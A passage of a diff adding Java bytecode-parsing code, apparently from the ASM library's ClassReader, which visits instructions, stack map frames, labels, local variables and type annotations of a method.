+ if (expandFrames) { + computeImplicitFrame(context); + } + // Find the labels for UNINITIALIZED frame types. Instead of decoding each element of the + // stack map table, we look for 3 consecutive bytes that "look like" an UNINITIALIZED type + // (tag ITEM_Uninitialized, offset within bytecode bounds, NEW instruction at this offset). + // We may find false positives (i.e. not real UNINITIALIZED types), but this should be rare, + // and the only consequence will be the creation of an unneeded label. This is better than + // creating a label for each NEW instruction, and faster than fully decoding the whole stack + // map table. + for (int offset = stackMapFrameOffset; offset < stackMapTableEndOffset - 2; ++offset) { + if (classFileBuffer[offset] == Frame.ITEM_UNINITIALIZED) { + int potentialBytecodeOffset = readUnsignedShort(offset + 1); + if (potentialBytecodeOffset >= 0 + && potentialBytecodeOffset < codeLength + && (classFileBuffer[bytecodeStartOffset + potentialBytecodeOffset] & 0xFF) + == Opcodes.NEW) { + createLabel(potentialBytecodeOffset, labels); + } + } + } + } + if (expandFrames && (context.parsingOptions & EXPAND_ASM_INSNS) != 0) { + // Expanding the ASM specific instructions can introduce F_INSERT frames, even if the method + // does not currently have any frame. These inserted frames must be computed by simulating the + // effect of the bytecode instructions, one by one, starting from the implicit first frame. + // For this, MethodWriter needs to know maxLocals before the first instruction is visited. To + // ensure this, we visit the implicit first frame here (passing only maxLocals - the rest is + // computed in MethodWriter). + methodVisitor.visitFrame(Opcodes.F_NEW, maxLocals, null, 0, null); + } + + // Visit the bytecode instructions. First, introduce state variables for the incremental parsing + // of the type annotations. + + // Index of the next runtime visible type annotation to read (in the + // visibleTypeAnnotationOffsets array). + int currentVisibleTypeAnnotationIndex = 0; + // The bytecode offset of the next runtime visible type annotation to read, or -1. + int currentVisibleTypeAnnotationBytecodeOffset = + getTypeAnnotationBytecodeOffset(visibleTypeAnnotationOffsets, 0); + // Index of the next runtime invisible type annotation to read (in the + // invisibleTypeAnnotationOffsets array). + int currentInvisibleTypeAnnotationIndex = 0; + // The bytecode offset of the next runtime invisible type annotation to read, or -1. + int currentInvisibleTypeAnnotationBytecodeOffset = + getTypeAnnotationBytecodeOffset(invisibleTypeAnnotationOffsets, 0); + + // Whether a F_INSERT stack map frame must be inserted before the current instruction. + boolean insertFrame = false; + + // The delta to subtract from a goto_w or jsr_w opcode to get the corresponding goto or jsr + // opcode, or 0 if goto_w and jsr_w must be left unchanged (i.e. when expanding ASM specific + // instructions). + final int wideJumpOpcodeDelta = + (context.parsingOptions & EXPAND_ASM_INSNS) == 0 ? Constants.WIDE_JUMP_OPCODE_DELTA : 0; + + currentOffset = bytecodeStartOffset; + while (currentOffset < bytecodeEndOffset) { + final int currentBytecodeOffset = currentOffset - bytecodeStartOffset; + + // Visit the label and the line number(s) for this bytecode offset, if any. + Label currentLabel = labels[currentBytecodeOffset]; + if (currentLabel != null) { + currentLabel.accept(methodVisitor, (context.parsingOptions & SKIP_DEBUG) == 0); + } + + // Visit the stack map frame for this bytecode offset, if any. + while (stackMapFrameOffset != 0 + && (context.currentFrameOffset == currentBytecodeOffset + || context.currentFrameOffset == -1)) { + // If there is a stack map frame for this offset, make methodVisitor visit it, and read the + // next stack map frame if there is one. + if (context.currentFrameOffset != -1) { + if (!compressedFrames || expandFrames) { + methodVisitor.visitFrame( + Opcodes.F_NEW, + context.currentFrameLocalCount, + context.currentFrameLocalTypes, + context.currentFrameStackCount, + context.currentFrameStackTypes); + } else { + methodVisitor.visitFrame( + context.currentFrameType, + context.currentFrameLocalCountDelta, + context.currentFrameLocalTypes, + context.currentFrameStackCount, + context.currentFrameStackTypes); + } + // Since there is already a stack map frame for this bytecode offset, there is no need to + // insert a new one. + insertFrame = false; + } + if (stackMapFrameOffset < stackMapTableEndOffset) { + stackMapFrameOffset = + readStackMapFrame(stackMapFrameOffset, compressedFrames, expandFrames, context); + } else { + stackMapFrameOffset = 0; + } + } + + // Insert a stack map frame for this bytecode offset, if requested by setting insertFrame to + // true during the previous iteration. The actual frame content is computed in MethodWriter. + if (insertFrame) { + if ((context.parsingOptions & EXPAND_FRAMES) != 0) { + methodVisitor.visitFrame(Constants.F_INSERT, 0, null, 0, null); + } + insertFrame = false; + } + + // Visit the instruction at this bytecode offset. + int opcode = classFileBuffer[currentOffset] & 0xFF; + switch (opcode) { + case Constants.NOP: + case Constants.ACONST_NULL: + case Constants.ICONST_M1: + case Constants.ICONST_0: + case Constants.ICONST_1: + case Constants.ICONST_2: + case Constants.ICONST_3: + case Constants.ICONST_4: + case Constants.ICONST_5: + case Constants.LCONST_0: + case Constants.LCONST_1: + case Constants.FCONST_0: + case Constants.FCONST_1: + case Constants.FCONST_2: + case Constants.DCONST_0: + case Constants.DCONST_1: + case Constants.IALOAD: + case Constants.LALOAD: + case Constants.FALOAD: + case Constants.DALOAD: + case Constants.AALOAD: + case Constants.BALOAD: + case Constants.CALOAD: + case Constants.SALOAD: + case Constants.IASTORE: + case Constants.LASTORE: + case Constants.FASTORE: + case Constants.DASTORE: + case Constants.AASTORE: + case Constants.BASTORE: + case Constants.CASTORE: + case Constants.SASTORE: + case Constants.POP: + case Constants.POP2: + case Constants.DUP: + case Constants.DUP_X1: + case Constants.DUP_X2: + case Constants.DUP2: + case Constants.DUP2_X1: + case Constants.DUP2_X2: + case Constants.SWAP: + case Constants.IADD: + case Constants.LADD: + case Constants.FADD: + case Constants.DADD: + case Constants.ISUB: + case Constants.LSUB: + case Constants.FSUB: + case Constants.DSUB: + case Constants.IMUL: + case Constants.LMUL: + case Constants.FMUL: + case Constants.DMUL: + case Constants.IDIV: + case Constants.LDIV: + case Constants.FDIV: + case Constants.DDIV: + case Constants.IREM: + case Constants.LREM: + case Constants.FREM: + case Constants.DREM: + case Constants.INEG: + case Constants.LNEG: + case Constants.FNEG: + case Constants.DNEG: + case Constants.ISHL: + case Constants.LSHL: + case Constants.ISHR: + case Constants.LSHR: + case Constants.IUSHR: + case Constants.LUSHR: + case Constants.IAND: + case Constants.LAND: + case Constants.IOR: + case Constants.LOR: + case Constants.IXOR: + case Constants.LXOR: + case Constants.I2L: + case Constants.I2F: + case Constants.I2D: + case Constants.L2I: + case Constants.L2F: + case Constants.L2D: + case Constants.F2I: + case Constants.F2L: + case Constants.F2D: + case Constants.D2I: + case Constants.D2L: + case Constants.D2F: + case Constants.I2B: + case Constants.I2C: + case Constants.I2S: + case Constants.LCMP: + case Constants.FCMPL: + case Constants.FCMPG: + case Constants.DCMPL: + case Constants.DCMPG: + case Constants.IRETURN: + case Constants.LRETURN: + case Constants.FRETURN: + case Constants.DRETURN: + case Constants.ARETURN: + case Constants.RETURN: + case Constants.ARRAYLENGTH: + case Constants.ATHROW: + case Constants.MONITORENTER: + case Constants.MONITOREXIT: + methodVisitor.visitInsn(opcode); + currentOffset += 1; + break; + case Constants.ILOAD_0: + case Constants.ILOAD_1: + case Constants.ILOAD_2: + case Constants.ILOAD_3: + case Constants.LLOAD_0: + case Constants.LLOAD_1: + case Constants.LLOAD_2: + case Constants.LLOAD_3: + case Constants.FLOAD_0: + case Constants.FLOAD_1: + case Constants.FLOAD_2: + case Constants.FLOAD_3: + case Constants.DLOAD_0: + case Constants.DLOAD_1: + case Constants.DLOAD_2: + case Constants.DLOAD_3: + case Constants.ALOAD_0: + case Constants.ALOAD_1: + case Constants.ALOAD_2: + case Constants.ALOAD_3: + opcode -= Constants.ILOAD_0; + methodVisitor.visitVarInsn(Opcodes.ILOAD + (opcode >> 2), opcode & 0x3); + currentOffset += 1; + break; + case Constants.ISTORE_0: + case Constants.ISTORE_1: + case Constants.ISTORE_2: + case Constants.ISTORE_3: + case Constants.LSTORE_0: + case Constants.LSTORE_1: + case Constants.LSTORE_2: + case Constants.LSTORE_3: + case Constants.FSTORE_0: + case Constants.FSTORE_1: + case Constants.FSTORE_2: + case Constants.FSTORE_3: + case Constants.DSTORE_0: + case Constants.DSTORE_1: + case Constants.DSTORE_2: + case Constants.DSTORE_3: + case Constants.ASTORE_0: + case Constants.ASTORE_1: + case Constants.ASTORE_2: + case Constants.ASTORE_3: + opcode -= Constants.ISTORE_0; + methodVisitor.visitVarInsn(Opcodes.ISTORE + (opcode >> 2), opcode & 0x3); + currentOffset += 1; + break; + case Constants.IFEQ: + case Constants.IFNE: + case Constants.IFLT: + case Constants.IFGE: + case Constants.IFGT: + case Constants.IFLE: + case Constants.IF_ICMPEQ: + case Constants.IF_ICMPNE: + case Constants.IF_ICMPLT: + case Constants.IF_ICMPGE: + case Constants.IF_ICMPGT: + case Constants.IF_ICMPLE: + case Constants.IF_ACMPEQ: + case Constants.IF_ACMPNE: + case Constants.GOTO: + case Constants.JSR: + case Constants.IFNULL: + case Constants.IFNONNULL: + methodVisitor.visitJumpInsn( + opcode, labels[currentBytecodeOffset + readShort(currentOffset + 1)]); + currentOffset += 3; + break; + case Constants.GOTO_W: + case Constants.JSR_W: + methodVisitor.visitJumpInsn( + opcode - wideJumpOpcodeDelta, + labels[currentBytecodeOffset + readInt(currentOffset + 1)]); + currentOffset += 5; + break; + case Constants.ASM_IFEQ: + case Constants.ASM_IFNE: + case Constants.ASM_IFLT: + case Constants.ASM_IFGE: + case Constants.ASM_IFGT: + case Constants.ASM_IFLE: + case Constants.ASM_IF_ICMPEQ: + case Constants.ASM_IF_ICMPNE: + case Constants.ASM_IF_ICMPLT: + case Constants.ASM_IF_ICMPGE: + case Constants.ASM_IF_ICMPGT: + case Constants.ASM_IF_ICMPLE: + case Constants.ASM_IF_ACMPEQ: + case Constants.ASM_IF_ACMPNE: + case Constants.ASM_GOTO: + case Constants.ASM_JSR: + case Constants.ASM_IFNULL: + case Constants.ASM_IFNONNULL: + { + // A forward jump with an offset > 32767. In this case we automatically replace ASM_GOTO + // with GOTO_W, ASM_JSR with JSR_W and ASM_IFxxx with IFNOTxxx GOTO_W L:..., + // where IFNOTxxx is the "opposite" opcode of ASMS_IFxxx (e.g. IFNE for ASM_IFEQ) and + // where designates the instruction just after the GOTO_W. + // First, change the ASM specific opcodes ASM_IFEQ ... ASM_JSR, ASM_IFNULL and + // ASM_IFNONNULL to IFEQ ... JSR, IFNULL and IFNONNULL. + opcode = + opcode < Constants.ASM_IFNULL + ? opcode - Constants.ASM_OPCODE_DELTA + : opcode - Constants.ASM_IFNULL_OPCODE_DELTA; + Label target = labels[currentBytecodeOffset + readUnsignedShort(currentOffset + 1)]; + if (opcode == Opcodes.GOTO || opcode == Opcodes.JSR) { + // Replace GOTO with GOTO_W and JSR with JSR_W. + methodVisitor.visitJumpInsn(opcode + Constants.WIDE_JUMP_OPCODE_DELTA, target); + } else { + // Compute the "opposite" of opcode. This can be done by flipping the least + // significant bit for IFNULL and IFNONNULL, and similarly for IFEQ ... IF_ACMPEQ + // (with a pre and post offset by 1). + opcode = opcode < Opcodes.GOTO ? ((opcode + 1) ^ 1) - 1 : opcode ^ 1; + Label endif = createLabel(currentBytecodeOffset + 3, labels); + methodVisitor.visitJumpInsn(opcode, endif); + methodVisitor.visitJumpInsn(Constants.GOTO_W, target); + // endif designates the instruction just after GOTO_W, and is visited as part of the + // next instruction. Since it is a jump target, we need to insert a frame here. + insertFrame = true; + } + currentOffset += 3; + break; + } + case Constants.ASM_GOTO_W: + { + // Replace ASM_GOTO_W with GOTO_W. + methodVisitor.visitJumpInsn( + Constants.GOTO_W, labels[currentBytecodeOffset + readInt(currentOffset + 1)]); + // The instruction just after is a jump target (because ASM_GOTO_W is used in patterns + // IFNOTxxx ASM_GOTO_W L:..., see MethodWriter), so we need to insert a frame + // here. + insertFrame = true; + currentOffset += 5; + break; + } + case Constants.WIDE: + opcode = classFileBuffer[currentOffset + 1] & 0xFF; + if (opcode == Opcodes.IINC) { + methodVisitor.visitIincInsn( + readUnsignedShort(currentOffset + 2), readShort(currentOffset + 4)); + currentOffset += 6; + } else { + methodVisitor.visitVarInsn(opcode, readUnsignedShort(currentOffset + 2)); + currentOffset += 4; + } + break; + case Constants.TABLESWITCH: + { + // Skip 0 to 3 padding bytes. + currentOffset += 4 - (currentBytecodeOffset & 3); + // Read the instruction. + Label defaultLabel = labels[currentBytecodeOffset + readInt(currentOffset)]; + int low = readInt(currentOffset + 4); + int high = readInt(currentOffset + 8); + currentOffset += 12; + Label[] table = new Label[high - low + 1]; + for (int i = 0; i < table.length; ++i) { + table[i] = labels[currentBytecodeOffset + readInt(currentOffset)]; + currentOffset += 4; + } + methodVisitor.visitTableSwitchInsn(low, high, defaultLabel, table); + break; + } + case Constants.LOOKUPSWITCH: + { + // Skip 0 to 3 padding bytes. + currentOffset += 4 - (currentBytecodeOffset & 3); + // Read the instruction. + Label defaultLabel = labels[currentBytecodeOffset + readInt(currentOffset)]; + int numPairs = readInt(currentOffset + 4); + currentOffset += 8; + int[] keys = new int[numPairs]; + Label[] values = new Label[numPairs]; + for (int i = 0; i < numPairs; ++i) { + keys[i] = readInt(currentOffset); + values[i] = labels[currentBytecodeOffset + readInt(currentOffset + 4)]; + currentOffset += 8; + } + methodVisitor.visitLookupSwitchInsn(defaultLabel, keys, values); + break; + } + case Constants.ILOAD: + case Constants.LLOAD: + case Constants.FLOAD: + case Constants.DLOAD: + case Constants.ALOAD: + case Constants.ISTORE: + case Constants.LSTORE: + case Constants.FSTORE: + case Constants.DSTORE: + case Constants.ASTORE: + case Constants.RET: + methodVisitor.visitVarInsn(opcode, classFileBuffer[currentOffset + 1] & 0xFF); + currentOffset += 2; + break; + case Constants.BIPUSH: + case Constants.NEWARRAY: + methodVisitor.visitIntInsn(opcode, classFileBuffer[currentOffset + 1]); + currentOffset += 2; + break; + case Constants.SIPUSH: + methodVisitor.visitIntInsn(opcode, readShort(currentOffset + 1)); + currentOffset += 3; + break; + case Constants.LDC: + methodVisitor.visitLdcInsn( + readConst(classFileBuffer[currentOffset + 1] & 0xFF, charBuffer)); + currentOffset += 2; + break; + case Constants.LDC_W: + case Constants.LDC2_W: + methodVisitor.visitLdcInsn(readConst(readUnsignedShort(currentOffset + 1), charBuffer)); + currentOffset += 3; + break; + case Constants.GETSTATIC: + case Constants.PUTSTATIC: + case Constants.GETFIELD: + case Constants.PUTFIELD: + case Constants.INVOKEVIRTUAL: + case Constants.INVOKESPECIAL: + case Constants.INVOKESTATIC: + case Constants.INVOKEINTERFACE: + { + int cpInfoOffset = cpInfoOffsets[readUnsignedShort(currentOffset + 1)]; + int nameAndTypeCpInfoOffset = cpInfoOffsets[readUnsignedShort(cpInfoOffset + 2)]; + String owner = readClass(cpInfoOffset, charBuffer); + String name = readUTF8(nameAndTypeCpInfoOffset, charBuffer); + String descriptor = readUTF8(nameAndTypeCpInfoOffset + 2, charBuffer); + if (opcode < Opcodes.INVOKEVIRTUAL) { + methodVisitor.visitFieldInsn(opcode, owner, name, descriptor); + } else { + boolean isInterface = + classFileBuffer[cpInfoOffset - 1] == Symbol.CONSTANT_INTERFACE_METHODREF_TAG; + methodVisitor.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + if (opcode == Opcodes.INVOKEINTERFACE) { + currentOffset += 5; + } else { + currentOffset += 3; + } + break; + } + case Constants.INVOKEDYNAMIC: + { + int cpInfoOffset = cpInfoOffsets[readUnsignedShort(currentOffset + 1)]; + int nameAndTypeCpInfoOffset = cpInfoOffsets[readUnsignedShort(cpInfoOffset + 2)]; + String name = readUTF8(nameAndTypeCpInfoOffset, charBuffer); + String descriptor = readUTF8(nameAndTypeCpInfoOffset + 2, charBuffer); + int bootstrapMethodOffset = bootstrapMethodOffsets[readUnsignedShort(cpInfoOffset)]; + Handle handle = + (Handle) readConst(readUnsignedShort(bootstrapMethodOffset), charBuffer); + Object[] bootstrapMethodArguments = + new Object[readUnsignedShort(bootstrapMethodOffset + 2)]; + bootstrapMethodOffset += 4; + for (int i = 0; i < bootstrapMethodArguments.length; i++) { + bootstrapMethodArguments[i] = + readConst(readUnsignedShort(bootstrapMethodOffset), charBuffer); + bootstrapMethodOffset += 2; + } + methodVisitor.visitInvokeDynamicInsn( + name, descriptor, handle, bootstrapMethodArguments); + currentOffset += 5; + break; + } + case Constants.NEW: + case Constants.ANEWARRAY: + case Constants.CHECKCAST: + case Constants.INSTANCEOF: + methodVisitor.visitTypeInsn(opcode, readClass(currentOffset + 1, charBuffer)); + currentOffset += 3; + break; + case Constants.IINC: + methodVisitor.visitIincInsn( + classFileBuffer[currentOffset + 1] & 0xFF, classFileBuffer[currentOffset + 2]); + currentOffset += 3; + break; + case Constants.MULTIANEWARRAY: + methodVisitor.visitMultiANewArrayInsn( + readClass(currentOffset + 1, charBuffer), classFileBuffer[currentOffset + 3] & 0xFF); + currentOffset += 4; + break; + default: + throw new AssertionError(); + } + + // Visit the runtime visible instruction annotations, if any. + while (visibleTypeAnnotationOffsets != null + && currentVisibleTypeAnnotationIndex < visibleTypeAnnotationOffsets.length + && currentVisibleTypeAnnotationBytecodeOffset <= currentBytecodeOffset) { + if (currentVisibleTypeAnnotationBytecodeOffset == currentBytecodeOffset) { + // Parse the target_type, target_info and target_path fields. + int currentAnnotationOffset = + readTypeAnnotationTarget( + context, visibleTypeAnnotationOffsets[currentVisibleTypeAnnotationIndex]); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + readElementValues( + methodVisitor.visitInsnAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + currentVisibleTypeAnnotationBytecodeOffset = + getTypeAnnotationBytecodeOffset( + visibleTypeAnnotationOffsets, ++currentVisibleTypeAnnotationIndex); + } + + // Visit the runtime invisible instruction annotations, if any. + while (invisibleTypeAnnotationOffsets != null + && currentInvisibleTypeAnnotationIndex < invisibleTypeAnnotationOffsets.length + && currentInvisibleTypeAnnotationBytecodeOffset <= currentBytecodeOffset) { + if (currentInvisibleTypeAnnotationBytecodeOffset == currentBytecodeOffset) { + // Parse the target_type, target_info and target_path fields. + int currentAnnotationOffset = + readTypeAnnotationTarget( + context, invisibleTypeAnnotationOffsets[currentInvisibleTypeAnnotationIndex]); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + readElementValues( + methodVisitor.visitInsnAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + currentInvisibleTypeAnnotationBytecodeOffset = + getTypeAnnotationBytecodeOffset( + invisibleTypeAnnotationOffsets, ++currentInvisibleTypeAnnotationIndex); + } + } + if (labels[codeLength] != null) { + methodVisitor.visitLabel(labels[codeLength]); + } + + // Visit LocalVariableTable and LocalVariableTypeTable attributes. + if (localVariableTableOffset != 0 && (context.parsingOptions & SKIP_DEBUG) == 0) { + // The (start_pc, index, signature_index) fields of each entry of the LocalVariableTypeTable. + int[] typeTable = null; + if (localVariableTypeTableOffset != 0) { + typeTable = new int[readUnsignedShort(localVariableTypeTableOffset) * 3]; + currentOffset = localVariableTypeTableOffset + 2; + int typeTableIndex = typeTable.length; + while (typeTableIndex > 0) { + // Store the offset of 'signature_index', and the value of 'index' and 'start_pc'. + typeTable[--typeTableIndex] = currentOffset + 6; + typeTable[--typeTableIndex] = readUnsignedShort(currentOffset + 8); + typeTable[--typeTableIndex] = readUnsignedShort(currentOffset); + currentOffset += 10; + } + } + int localVariableTableLength = readUnsignedShort(localVariableTableOffset); + currentOffset = localVariableTableOffset + 2; + while (localVariableTableLength-- > 0) { + int startPc = readUnsignedShort(currentOffset); + int length = readUnsignedShort(currentOffset + 2); + String name = readUTF8(currentOffset + 4, charBuffer); + String descriptor = readUTF8(currentOffset + 6, charBuffer); + int index = readUnsignedShort(currentOffset + 8); + currentOffset += 10; + String signature = null; + if (typeTable != null) { + for (int i = 0; i < typeTable.length; i += 3) { + if (typeTable[i] == startPc && typeTable[i + 1] == index) { + signature = readUTF8(typeTable[i + 2], charBuffer); + break; + } + } + } + methodVisitor.visitLocalVariable( + name, descriptor, signature, labels[startPc], labels[startPc + length], index); + } + } + + // Visit the local variable type annotations of the RuntimeVisibleTypeAnnotations attribute. + if (visibleTypeAnnotationOffsets != null) { + for (int typeAnnotationOffset : visibleTypeAnnotationOffsets) { + int targetType = readByte(typeAnnotationOffset); + if (targetType == TypeReference.LOCAL_VARIABLE + || targetType == TypeReference.RESOURCE_VARIABLE) { + // Parse the target_type, target_info and target_path fields. + currentOffset = readTypeAnnotationTarget(context, typeAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentOffset, charBuffer); + currentOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + readElementValues( + methodVisitor.visitLocalVariableAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + context.currentLocalVariableAnnotationRangeStarts, + context.currentLocalVariableAnnotationRangeEnds, + context.currentLocalVariableAnnotationRangeIndices, + annotationDescriptor, + /* visible = */ true), + currentOffset, + /* named = */ true, + charBuffer); + } + } + } + + // Visit the local variable type annotations of the RuntimeInvisibleTypeAnnotations attribute. + if (invisibleTypeAnnotationOffsets != null) { + for (int typeAnnotationOffset : invisibleTypeAnnotationOffsets) { + int targetType = readByte(typeAnnotationOffset); + if (targetType == TypeReference.LOCAL_VARIABLE + || targetType == TypeReference.RESOURCE_VARIABLE) { + // Parse the target_type, target_info and target_path fields. + currentOffset = readTypeAnnotationTarget(context, typeAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentOffset, charBuffer); + currentOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + readElementValues( + methodVisitor.visitLocalVariableAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + context.currentLocalVariableAnnotationRangeStarts, + context.currentLocalVariableAnnotationRangeEnds, + context.currentLocalVariableAnnotationRangeIndices, + annotationDescriptor, + /* visible = */ false), + currentOffset, + /* named = */ true, + charBuffer); + } + } + } + + // Visit the non standard attributes. + while (attributes != null) { + // Copy and reset the nextAttribute field so that it can also be used in MethodWriter. + Attribute nextAttribute = attributes.nextAttribute; + attributes.nextAttribute = null; + methodVisitor.visitAttribute(attributes); + attributes = nextAttribute; + } + + // Visit the max stack and max locals values. + methodVisitor.visitMaxs(maxStack, maxLocals); + } + + /** + * Returns the label corresponding to the given bytecode offset. The default implementation of + * this method creates a label for the given offset if it has not been already created. + * + * @param bytecodeOffset a bytecode offset in a method. + * @param labels the already created labels, indexed by their offset. If a label already exists + * for bytecodeOffset this method must not create a new one. Otherwise it must store the new + * label in this array. + * @return a non null Label, which must be equal to labels[bytecodeOffset]. + */ + protected Label readLabel(final int bytecodeOffset, final Label[] labels) { + if (labels[bytecodeOffset] == null) { + labels[bytecodeOffset] = new Label(); + } + return labels[bytecodeOffset]; + } + + /** + * Creates a label without the {@link Label#FLAG_DEBUG_ONLY} flag set, for the given bytecode + * offset. The label is created with a call to {@link #readLabel} and its {@link + * Label#FLAG_DEBUG_ONLY} flag is cleared. + * + * @param bytecodeOffset a bytecode offset in a method. + * @param labels the already created labels, indexed by their offset. + * @return a Label without the {@link Label#FLAG_DEBUG_ONLY} flag set. + */ + private Label createLabel(final int bytecodeOffset, final Label[] labels) { + Label label = readLabel(bytecodeOffset, labels); + label.flags &= ~Label.FLAG_DEBUG_ONLY; + return label; + } + + /** + * Creates a label with the {@link Label#FLAG_DEBUG_ONLY} flag set, if there is no already + * existing label for the given bytecode offset (otherwise does nothing). The label is created + * with a call to {@link #readLabel}. + * + * @param bytecodeOffset a bytecode offset in a method. + * @param labels the already created labels, indexed by their offset. + */ + private void createDebugLabel(final int bytecodeOffset, final Label[] labels) { + if (labels[bytecodeOffset] == null) { + readLabel(bytecodeOffset, labels).flags |= Label.FLAG_DEBUG_ONLY; + } + } + + // ---------------------------------------------------------------------------------------------- + // Methods to parse annotations, type annotations and parameter annotations + // ---------------------------------------------------------------------------------------------- + + /** + * Parses a Runtime[In]VisibleTypeAnnotations attribute to find the offset of each type_annotation + * entry it contains, to find the corresponding labels, and to visit the try catch block + * annotations. + * + * @param methodVisitor the method visitor to be used to visit the try catch block annotations. + * @param context information about the class being parsed. + * @param runtimeTypeAnnotationsOffset the start offset of a Runtime[In]VisibleTypeAnnotations + * attribute, excluding the attribute_info's attribute_name_index and attribute_length fields. + * @param visible true if the attribute to parse is a RuntimeVisibleTypeAnnotations attribute, + * false it is a RuntimeInvisibleTypeAnnotations attribute. + * @return the start offset of each entry of the Runtime[In]VisibleTypeAnnotations_attribute's + * 'annotations' array field. + */ + private int[] readTypeAnnotations( + final MethodVisitor methodVisitor, + final Context context, + final int runtimeTypeAnnotationsOffset, + final boolean visible) { + char[] charBuffer = context.charBuffer; + int currentOffset = runtimeTypeAnnotationsOffset; + // Read the num_annotations field and create an array to store the type_annotation offsets. + int[] typeAnnotationsOffsets = new int[readUnsignedShort(currentOffset)]; + currentOffset += 2; + // Parse the 'annotations' array field. + for (int i = 0; i < typeAnnotationsOffsets.length; ++i) { + typeAnnotationsOffsets[i] = currentOffset; + // Parse the type_annotation's target_type and the target_info fields. The size of the + // target_info field depends on the value of target_type. + int targetType = readInt(currentOffset); + switch (targetType >>> 24) { + case TypeReference.LOCAL_VARIABLE: + case TypeReference.RESOURCE_VARIABLE: + // A localvar_target has a variable size, which depends on the value of their table_length + // field. It also references bytecode offsets, for which we need labels. + int tableLength = readUnsignedShort(currentOffset + 1); + currentOffset += 3; + while (tableLength-- > 0) { + int startPc = readUnsignedShort(currentOffset); + int length = readUnsignedShort(currentOffset + 2); + // Skip the index field (2 bytes). + currentOffset += 6; + createLabel(startPc, context.currentMethodLabels); + createLabel(startPc + length, context.currentMethodLabels); + } + break; + case TypeReference.CAST: + case TypeReference.CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT: + case TypeReference.METHOD_INVOCATION_TYPE_ARGUMENT: + case TypeReference.CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT: + case TypeReference.METHOD_REFERENCE_TYPE_ARGUMENT: + currentOffset += 4; + break; + case TypeReference.CLASS_EXTENDS: + case TypeReference.CLASS_TYPE_PARAMETER_BOUND: + case TypeReference.METHOD_TYPE_PARAMETER_BOUND: + case TypeReference.THROWS: + case TypeReference.EXCEPTION_PARAMETER: + case TypeReference.INSTANCEOF: + case TypeReference.NEW: + case TypeReference.CONSTRUCTOR_REFERENCE: + case TypeReference.METHOD_REFERENCE: + currentOffset += 3; + break; + case TypeReference.CLASS_TYPE_PARAMETER: + case TypeReference.METHOD_TYPE_PARAMETER: + case TypeReference.METHOD_FORMAL_PARAMETER: + case TypeReference.FIELD: + case TypeReference.METHOD_RETURN: + case TypeReference.METHOD_RECEIVER: + default: + // TypeReference type which can't be used in Code attribute, or which is unknown. + throw new IllegalArgumentException(); + } + // Parse the rest of the type_annotation structure, starting with the target_path structure + // (whose size depends on its path_length field). + int pathLength = readByte(currentOffset); + if ((targetType >>> 24) == TypeReference.EXCEPTION_PARAMETER) { + // Parse the target_path structure and create a corresponding TypePath. + TypePath path = pathLength == 0 ? null : new TypePath(b, currentOffset); + currentOffset += 1 + 2 * pathLength; + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentOffset, charBuffer); + currentOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentOffset = + readElementValues( + methodVisitor.visitTryCatchAnnotation( + targetType & 0xFFFFFF00, path, annotationDescriptor, visible), + currentOffset, + /* named = */ true, + charBuffer); + } else { + // We don't want to visit the other target_type annotations, so we just skip them (which + // requires some parsing because the element_value_pairs array has a variable size). First, + // skip the target_path structure: + currentOffset += 3 + 2 * pathLength; + // Then skip the num_element_value_pairs and element_value_pairs fields (by reading them + // with a null AnnotationVisitor). + currentOffset = + readElementValues( + /* annotationVisitor = */ null, currentOffset, /* named = */ true, charBuffer); + } + } + return typeAnnotationsOffsets; + } + + /** + * Returns the bytecode offset corresponding to the specified JVMS 'type_annotation' structure, or + * -1 if there is no such type_annotation of if it does not have a bytecode offset. + * + * @param typeAnnotationOffsets the offset of each 'type_annotation' entry in a + * Runtime[In]VisibleTypeAnnotations attribute, or null. + * @param typeAnnotationIndex the index a 'type_annotation' entry in typeAnnotationOffsets. + * @return bytecode offset corresponding to the specified JVMS 'type_annotation' structure, or -1 + * if there is no such type_annotation of if it does not have a bytecode offset. + */ + private int getTypeAnnotationBytecodeOffset( + final int[] typeAnnotationOffsets, final int typeAnnotationIndex) { + if (typeAnnotationOffsets == null + || typeAnnotationIndex >= typeAnnotationOffsets.length + || readByte(typeAnnotationOffsets[typeAnnotationIndex]) < TypeReference.INSTANCEOF) { + return -1; + } + return readUnsignedShort(typeAnnotationOffsets[typeAnnotationIndex] + 1); + } + + /** + * Parses the header of a JVMS type_annotation structure to extract its target_type, target_info + * and target_path (the result is stored in the given context), and returns the start offset of + * the rest of the type_annotation structure. + * + * @param context information about the class being parsed. This is where the extracted + * target_type and target_path must be stored. + * @param typeAnnotationOffset the start offset of a type_annotation structure. + * @return the start offset of the rest of the type_annotation structure. + */ + private int readTypeAnnotationTarget(final Context context, final int typeAnnotationOffset) { + int currentOffset = typeAnnotationOffset; + // Parse and store the target_type structure. + int targetType = readInt(typeAnnotationOffset); + switch (targetType >>> 24) { + case TypeReference.CLASS_TYPE_PARAMETER: + case TypeReference.METHOD_TYPE_PARAMETER: + case TypeReference.METHOD_FORMAL_PARAMETER: + targetType &= 0xFFFF0000; + currentOffset += 2; + break; + case TypeReference.FIELD: + case TypeReference.METHOD_RETURN: + case TypeReference.METHOD_RECEIVER: + targetType &= 0xFF000000; + currentOffset += 1; + break; + case TypeReference.LOCAL_VARIABLE: + case 